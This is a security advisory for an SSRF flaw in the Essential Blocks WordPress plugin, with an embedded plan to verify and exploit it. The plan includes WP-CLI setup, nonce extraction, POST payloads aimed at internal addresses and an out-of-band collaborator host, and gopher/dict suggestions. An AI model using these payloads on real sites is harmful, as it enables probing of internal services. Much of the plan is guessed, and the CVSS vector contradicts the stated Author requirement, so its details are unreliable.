Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns <= 6.1.3 - Authenticated (Author+) Server-Side Request Forgery
Description
The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.3 via the `save_ai_generated_image()` function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.1.3What Changed in the Fix
Changes introduced in v6.1.4
Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit **CVE-2026-10586**, an SSRF vulnerability in the **Essential Blocks** plugin. ### 1. Vulnerability Summary The vulnerability exists in the `save_ai_generated_image()` function of the Gutenberg Essential Blocks plugin (versions <= 6.1.3). T…
Show full research plan
This research plan outlines the steps to verify and exploit CVE-2026-10586, an SSRF vulnerability in the Essential Blocks plugin.
1. Vulnerability Summary
The vulnerability exists in the save_ai_generated_image() function of the Gutenberg Essential Blocks plugin (versions <= 6.1.3). This function is designed to take a URL of an AI-generated image (likely from an external service like OpenAI), fetch it, and save it to the WordPress Media Library. However, the function fails to validate the source URL, allowing an authenticated user with Author-level permissions to provide internal or arbitrary URLs, leading to Server-Side Request Forgery (SSRF).
2. Attack Vector Analysis
- Endpoint: WordPress AJAX (
/wp-admin/admin-ajax.php) or REST API. Given the plugin's architecture, this is likely a registered AJAX action. - Action Name:
eb_save_ai_generated_imageoressential_blocks_save_ai_generated_image(inferred from plugin naming conventions). - Vulnerable Parameter:
urlorimage_url. - Required Authentication: Author level or higher (Users who can access the Gutenberg editor and use AI block features).
- Capability:
edit_posts.
3. Code Flow (Inferred)
- Entry Point: The user triggers an AI image generation or "Save to Library" action in the block editor.
- AJAX/REST Call: The frontend JS (likely in
assets/admin/editor/editor.js) sends a request to the server with a URL parameter. - Function Call:
save_ai_generated_image( $request )is invoked. - SSRF Sink: The function calls
download_url( $url )orwp_remote_get( $url )without restricting the URL to allowed domains (likeopenai.comordalle.com). - Processing: The server fetches the content from the provided URL. If it's an internal service (e.g.,
http://localhost:6379), the server attempts to communicate with it.
4. Nonce Acquisition Strategy
The Essential Blocks plugin localizes configuration data for the Gutenberg editor. We need to extract the nonce required for the AI-related actions.
- Identify Shortcode: The Essential Blocks plugin doesn't necessarily need a shortcode for editor-side vulnerabilities, but we need to be in the post editor context.
- Setup: Create an Author user and a new post.
- Navigation: Log in and navigate to the editor for that post:
/wp-admin/post-new.php. - Extraction:
- The plugin likely uses
EssentialBlocksLocalizeor a similar object. - Check for nonces in the global scope:
// Potential keys to check in browser_eval window.EssentialBlocksLocalize?.nonce window.EssentialBlocksConfig?.nonce window.eb_admin_data?.nonce - If the nonce is specific to the AI extension, look for:
window.EssentialBlocksLocalize?.ai_nonce
- The plugin likely uses
5. Exploitation Strategy
Step 1: Target Identification
Search the plugin directory to find the exact AJAX action and parameter name.
grep -rn "save_ai_generated_image" .
grep -rn "wp_ajax_.*save_ai" .
Step 2: Test Internal Request (SSRF)
Once the action and nonce are found, attempt to hit an internal service. We will use a unique port to observe response differences.
HTTP Request (Example):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eb_save_ai_generated_image&url=http://127.0.0.1:80&_wpnonce=[NONCE]
Step 3: Blind Verification (Time-based or Out-of-band)
If the response does not return the content of the URL, use a collaborator URL (e.g., from interactsh or a similar tool) to confirm the request is leaving the server.
action=eb_save_ai_generated_image&url=http://[your-collaborator-id].oast.fun&_wpnonce=[NONCE]
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Post Creation:
wp post create --post_type=post --post_title="SSRF Test" --post_status=publish --post_author=$(wp user get attacker --field=ID) - Plugin Configuration: Ensure "Essential Blocks" is active. AI features might require a (fake) API key to be set in the plugin settings to enable the UI elements, though the backend function might be callable regardless.
7. Expected Results
- Successful Exploitation: The server returns a success message or an error indicating it tried to parse the response from the provided internal URL (e.g., "Invalid image type" if hitting a non-image internal service).
- OOB Confirmation: A hit is recorded on the listener/collaborator URL.
- Internal Discovery: Different response times or error messages when targeting open vs. closed internal ports (e.g.,
localhost:80vslocalhost:12345).
8. Verification Steps
- Check the WordPress Media Library to see if any "image" was attempted to be created:
wp media list - Verify if the plugin logged any errors in
wp-content/debug.logrelated to the failed image download from the internal URL.
9. Alternative Approaches
- REST API: Check if the function is exposed via a REST route:
register_rest_route( 'essential-blocks/v1', '/save-ai-image' ). If so, use theX-WP-Nonceheader with the REST nonce. - Post Meta: In some cases, the URL might be saved to post meta first and then processed. Attempt to update a post with an Essential Block and include the
urlin the block attributes. - Gopher/Dict protocols: If the underlying fetcher is
curl, attempt to usegopher://ordict://for more advanced internal service exploitation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.